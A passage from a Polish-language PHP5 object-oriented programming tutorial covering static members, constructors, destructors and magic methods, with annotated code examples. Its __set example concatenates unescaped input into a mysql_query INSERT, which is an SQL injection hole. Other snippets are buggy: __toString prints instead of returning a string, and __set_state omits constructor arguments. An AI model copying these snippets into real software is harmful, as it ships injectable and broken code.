<p><a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="re0">$obj</span>-<span class="sy0">&gt;</span><span class="me1">pobierzStalaBazowa</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// zwroci normal done</span><br />
<span class="re0">$obj_f</span>-<span class="sy0">&gt;</span><span class="me1">pobierzStala</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// zwroci final done poniewaz zwyczajnie w klasie finalnej tez mozna w skrypcie uzywac stalych</span><br />
<a href="http://www.php.net/print"><span class="kw3">print</span></a> klasaPochodna::<span class="me2">PRE</span>; <span class="co1">// nie zwroci nic i zakonczy sie bledem lub zatrzymaniem skryptu z racji proby w klasie pochodnej nadpisania stalej z klasy bazowej - co jest niedozwolone</span><br />
<a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="re0">$obj</span>-<span class="sy0">&gt;</span><span class="me1">pobierzStalaZKlasyBazowej</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// zwroci normal done jako przyklad uzycia stalej z klasy bazowej w klasie dziedziczacej</span><br />
<span class="kw2">?&gt;</span></div>
<p>Dlaczego powinno używać się stałych klasowych, a nie zwykłych definiowanych poprzez funkcję <strong>define(params);</strong>? Z dwóch powodów. Estetycznego - systematyzują kod. I co ważniejsze - optymalnego, gdyż działają szybciej niż te pierwotne.</p>
<p>Co do statyczności w PHP5 jest ona przestrzegana bardziej restrykcyjnie. Nie można już wywoływać każdej metody, czy właściwości statycznie. Trzeba przed nazwą funkcji klasy i <strong>function</strong> dodać <strong>static</strong>, podobnie jest w wypadku zmiennych z tymże przed ich nazwą. W metodach statycznych można używać tylko statycznych pól, a przy odwoływaniu się do zasobów statycznych nie należy robić tego w postaci notacji obiektowej. Elementy tego typu podlegają także zasadą kapsułkowania. Pola za to nie wymagają tworzenia instancji obiektu. Wystarczy posłużyć się nazwą klasy w skrypcie, a jak już wspomniałem w bazowej i dziedziczonych klasach odpowiednio są to <strong>self::</strong> i <strong>parent::</strong>.</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">&lt;?php</span><br />
<span class="kw2">class</span> klasa <span class="br0">&#123;</span> &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <a href="http://www.php.net/static"><span class="kw3">static</span></a> <span class="re0">$czas</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> <a href="http://www.php.net/static"><span class="kw3">static</span></a> <span class="re0">$miasto</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <a href="http://www.php.net/static"><span class="kw3">static</span></a> <span class="kw2">function</span> zaladujDane<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self::<span class="re0">$czas</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <a href="http://www.php.net/date"><span class="kw3">date</span></a><span class="br0">&#40;</span><span class="st0">'H:i'</span>, <a href="http://www.php.net/time"><span class="kw3">time</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> self::<span class="re0">$czas</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> zaladujMiasto<span class="br0">&#40;</span><span class="re0">$miasto</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self::<span class="re0">$miasto</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span class="re0">$miasto</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> self::<span class="re0">$miasto</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></p>
<p><a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'Godzina: '</span> . klasa::<span class="me2">zaladujDane</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// zwroci Godzina: GG:MM (godzine wraz z minutami)</span></p>
<p><span class="re0">$instancja</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span class="kw2">new</span> klasa<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
<a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'Miasto: '</span> . <span class="re0">$instancja</span>-<span class="sy0">&gt;</span><span class="me1">zaladujMiasto</span><span class="br0">&#40;</span><span class="st0">'Londyn'</span><span class="br0">&#41;</span>; <span class="co1">// zwroci Miasto: Londyn, gdyz dostep do wlasciowsci statycznej odbywa sie w metodzie z wnetrza klasy</span><br />
<span class="kw2">?&gt;</span></div>
<p>Reasumując podstawową zaletą jest fakt, że nie potrzeba tworzyć instancji w celu skorzystania z statycznych zasobów (elementy w stylu <em>$instancja-></em>, czy <em>$this-></em> nie zadziałają). Przydaję się to w wielu różnych, bardziej zaawansowanych zastosowaniach, np. przy tworzeniu <strong>singletonu</strong>, o czym w następnej części kursu.</p>
<h2>Co dziś dobrego na obiad? Konstruktory i destruktory...</h2>
<p>Zasada działania konstruktora i destruktora klasy jest bardzo prosta. Są to dwie wbudowane w PHP5 metody wywoływane automatycznie, pierwsza po utworzeniu obiektu, a druga po jego zniszczeniu (po załadowaniu strony bądź poprzez użycie <strong>unset($var);</strong>). Co za tym idzie żadna z nich nie jest wywoływana przy użyciu statycznego odwołania i bez wykreowania instancji obiektu.</p>
<p>Konstruktor tworzymy poprzez nadanie metodzie nazwy <strong>__construct(params)</strong>, a destruktor <strong>__destruct()</strong>. Możemy, lecz w tym wypadku nie jesteśmy do tego koniecznie zobligowani nadać tym metodom typ (np. publiczny).</p>
<p>Do czego mogą się przydać te dwie funkcje? Wszystko zależy od potrzeb, ale mogą np. do zerowania pól, otwierania, zamykania różnego rodzaju połączeń, czy tworzenia lub niszczenia innych obiektów.</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">&lt;?php</span><br />
final <span class="kw2">class</span> klasa <span class="br0">&#123;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> <a href="http://www.php.net/static"><span class="kw3">static</span></a> <span class="re0">$bin</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> __construct<span class="br0">&#40;</span><span class="re0">$bin</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self::<span class="re0">$bin</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span class="br0">&#40;</span>int<span class="br0">&#41;</span><span class="re0">$bin</span>; <span class="co1">// nadanie domyslnych wartosci przy utworzeniu obiektu</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> __destruct<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self::<span class="re0">$bin</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span class="nu0">0</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></p>
<p><span class="re0">$instancja</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span class="kw2">new</span> klasa<span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span>; <span class="co1">// wywolanie __construct i wykonanie jej zawartosci</span><br />
<span class="co1">// w tym miejscu (na koncu skryptu) automatycznie wywolywane jest __destruct</span><br />
<span class="kw2">?&gt;</span></div>
<h2>Ciąg dalszy metod magicznych na kolacje...</h2>
<p>Jest pewien zbiór metod wbudowanych w OOP piątej wersji PHP, w tym <strong>__construct()</strong> i <strong>__destruct()</strong>, które są predefiniowane do specyficznego użycia i nie można ich nazewnictwa powielać w klasach (dokumentacja zaleca także, aby przy tworzeniu metod nie rozpoczynać ich nazwy od <strong>__</strong>, gdyż w przyszłości może pojawić się więcej opisywanych właśnie zasobów rozpoczynających się od takiego ciągu).</p>
<p class="picture"><img src="http://pliki.vivee.info/php5/2.png" alt="Metody magiczne - spis" /></p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">&lt;?php</span><br />
final <span class="kw2">class</span> magiczneMetody <span class="br0">&#123;</span>&nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$user_id</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$fn</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$mode</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$handle</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$temp1</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$temp2</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> __construct<span class="br0">&#40;</span><span class="re0">$filename</span>, <span class="re0">$mode</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">user_id</span> &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">'name'</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =<span class="sy0">&gt;</span> <span class="st0">'vivee'</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">fn</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span class="re0">$filename</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">mode</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span class="re0">$mode</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">handle</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <a href="http://www.php.net/fopen"><span class="kw3">fopen</span></a><span class="br0">&#40;</span><span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">fn</span>, <span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">mode</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> __destruct<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/fclose"><span class="kw3">fclose</span></a><span class="br0">&#40;</span><span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">handle</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> __sleep<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">user_id</span><span class="br0">&#91;</span><span class="st0">'name'</span><span class="br0">&#93;</span>&nbsp; = <span class="st0">'m1chu'</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span><span class="st0">'user_id'</span><span class="br0">&#41;</span>; <span class="co1">// zwracamy tablice zmiennych do ponownego zaladowania po deserializacji</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> __wakeup<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">user_id</span><span class="br0">&#91;</span><span class="st0">'stat'</span><span class="br0">&#93;</span>&nbsp; = <span class="st0">'working...'</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> __call<span class="br0">&#40;</span><span class="re0">$name</span>, <span class="re0">$params</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'Wywołano nieistniejącą metodę '</span> . <span class="re0">$name</span> . <span class="st0">' o parametrach: '</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="re0">$params</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span> <span class="sy0">!</span>= <span class="st0">''</span> <span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$counted_params</span> &nbsp; &nbsp; &nbsp; &nbsp; = <a href="http://www.php.net/count"><span class="kw3">count</span></a><span class="br0">&#40;</span><span class="re0">$params</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span> <span class="re0">$i</span> = <span class="nu0">0</span>; <span class="re0">$i</span> <span class="sy0">&lt;</span> <span class="re0">$counted_params</span>; ++<span class="re0">$i</span> <span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="br0">&#40;</span> <span class="re0">$i</span> <span class="sy0">&gt;</span> <span class="nu0">0</span> ? <span class="st0">', '</span> . <span class="re0">$params</span><span class="br0">&#91;</span><span class="re0">$i</span><span class="br0">&#93;</span> : <span class="re0">$params</span><span class="br0">&#91;</span><span class="re0">$i</span><span class="br0">&#93;</span> <span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'brak'</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> __clone<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">handle</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <a href="http://www.php.net/fopen"><span class="kw3">fopen</span></a><span class="br0">&#40;</span><span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">fn</span>, <span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">mode</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> __get<span class="br0">&#40;</span><span class="re0">$pole</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'Wywołano nieistniejące pole: '</span> . <span class="re0">$pole</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> __set<span class="br0">&#40;</span><span class="re0">$name</span>, <span class="re0">$value</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">'INSERT INTO logs (log_name, log_val) VALUES(<span class="es0">\'</span>'</span> . <span class="re0">$name</span> . <span class="st0">'<span class="es0">\'</span>, <span class="es0">\'</span>'</span> . <span class="re0">$value</span> . <span class="st0">'<span class="es0">\'</span>'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'Próbowano przypisać do nieistniejącej właściwości '</span> . <span class="re0">$name</span> . <span class="st0">' wartość '</span> . <span class="re0">$value</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> __isset<span class="br0">&#40;</span><span class="re0">$var</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'Zmienna '</span> . <span class="re0">$var</span> . <span class="st0">' nie została ustawiona'</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> __toString<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'Nie ma dostepu do obiektu <img src='http://vivee.info/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> '</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <a href="http://www.php.net/static"><span class="kw3">static</span></a> <span class="kw2">function</span> __set_state<span class="br0">&#40;</span><span class="re0">$array</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$temp_obj</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span class="kw2">new</span> magiczneMetody<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$temp_obj</span>-<span class="sy0">&gt;</span><span class="me1">temp1</span>&nbsp; &nbsp; &nbsp; &nbsp; = <span class="re0">$array</span><span class="br0">&#91;</span><span class="st0">'temp1'</span><span class="br0">&#93;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$temp_obj</span>-<span class="sy0">&gt;</span><span class="me1">temp2</span>&nbsp; &nbsp; &nbsp; &nbsp; = <span class="re0">$array</span><span class="br0">&#91;</span><span class="st0">'temp2'</span><span class="br0">&#93;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="re0">$temp_obj</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></p>
<p><span class="kw2">function</span> __autoload<span class="br0">&#40;</span><span class="re0">$class</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">require</span> <span class="st0">'./klasa.php'</span>;<br />
<span class="br0">&#125;</span></p>
<p><span class="re0">$obiekt</span> &nbsp; &nbsp; &nbsp; &nbsp; = <span class="kw2">new</span> magiczneMetody<span class="br0">&#40;</span><span class="st0">'file.txt'</span>, <span class="st0">'r+'</span><span class="br0">&#41;</span>;</p>
<p><span class="co1">// zasada dzialania __sleep() i __wakeup()</span><br />
<a href="http://www.php.net/print_r"><span class="kw3">print_r</span></a><span class="br0">&#40;</span><span class="re0">$obiekt</span><span class="br0">&#41;</span>; <span class="co1">// zwroci: magiczneMetody Object ( [user_id:private] =&gt; Array ( [name] =&gt; vivee ) )</span><br />
<span class="re0">$serialized</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <a href="http://www.php.net/serialize"><span class="kw3">serialize</span></a><span class="br0">&#40;</span><span class="re0">$obiekt</span><span class="br0">&#41;</span>; <span class="co1">// wywolanie przed serializacja metody magicznej __sleep()</span><br />
<a href="http://www.php.net/print_r"><span class="kw3">print_r</span></a><span class="br0">&#40;</span><a href="http://www.php.net/unserialize"><span class="kw3">unserialize</span></a><span class="br0">&#40;</span><span class="re0">$serialized</span><span class="br0">&#41;</span><span class="br0">&#41;</span>; <span class="co1">// zwroci: magiczneMetody Object ( [user_id:private] =&gt; Array ( [name] =&gt; m1chu [stat] =&gt; working... ) ) </span></p>
<p><span class="co1">// zasada dzialania __call()</span><br />
<span class="re0">$obiekt</span>-<span class="sy0">&gt;</span><span class="me1">bezParametru</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// nieistniejaca metoda, zwroci: Wywołano nieistniejącą metodę bezParametru o parametrach: brak</span><br />
<span class="re0">$obiekt</span>-<span class="sy0">&gt;</span><span class="me1">zParametrami</span><span class="br0">&#40;</span><span class="nu0">1</span>, <span class="kw2">true</span>, <span class="st0">'string'</span><span class="br0">&#41;</span>; <span class="co1">// nieistniejaca metoda, zwroci: Wywołano nieistniejącą metodę zParametrami o parametrach: 1, 1, string</span></p>
<p><span class="co1">// zasada dzialania __clone()</span><br />
<span class="re0">$clone</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = clone <span class="re0">$obiekt</span>; <span class="co1">// sklonowanie obiektu wraz z wywolaniem nowego strumienia do zasobu</span></p>
<p><span class="co1">// zasada dzialania __get()</span><br />
<a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="re0">$obiekt</span>-<span class="sy0">&gt;</span><span class="me1">nieistniejacePole</span>; <span class="co1">// nie istnieje taka własciwosc w klasie, zostanie wywolana metoda __get(param)</span></p>
<p><span class="co1">// zasada dzialania __set()</span><br />
<span class="co1">// polaczenie z baza danych (dla przykladu MySQL)</span><br />
<span class="re0">$obiekt</span>-<span class="sy0">&gt;</span><span class="me1">username</span> &nbsp; &nbsp; &nbsp; = <span class="st0">'vivee'</span>; <span class="co1">// nie istnieje taka wlasciowsc w klasie, a poniewaz staramy sie do niej cos przypisac to zostanie wywolana metoda __set(params)</span><br />
<span class="co1">// koniec polaczenia z baza danych</span></p>
<p><span class="co1">// zasada dzialania __isset()</span><br />
<a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$obiekt</span>-<span class="sy0">&gt;</span><span class="me1">username</span><span class="br0">&#41;</span>; <span class="co1">// zwroci Zmienna username nie została ustawiona</span></p>
<p><span class="co1">// zasada dzialania __toString()</span><br />
<a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="re0">$obiekt</span>; <span class="co1">// zrzutowanie na ciag znakow obiektu wiec zostanie wywolane __toString()</span></p>
<p><span class="co1">// zasada dzialania __set_state()</span><br />
<span class="re0">$obiekt</span>-<span class="sy0">&gt;</span><span class="me1">temp1</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span class="st0">'test'</span>;<br />
<span class="re0">$obiekt</span>-<span class="sy0">&gt;</span><span class="me1">temp2</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span class="st0">'test drugi'</span>;<br />
<span class="re0">$obiekt2</span> = <a href="http://www.php.net/var_export"><span class="kw3">var_export</span></a><span class="br0">&#40;</span><span class="re0">$obiekt</span>, <span class="kw2">true</span><span class="br0">&#41;</span>;<br />
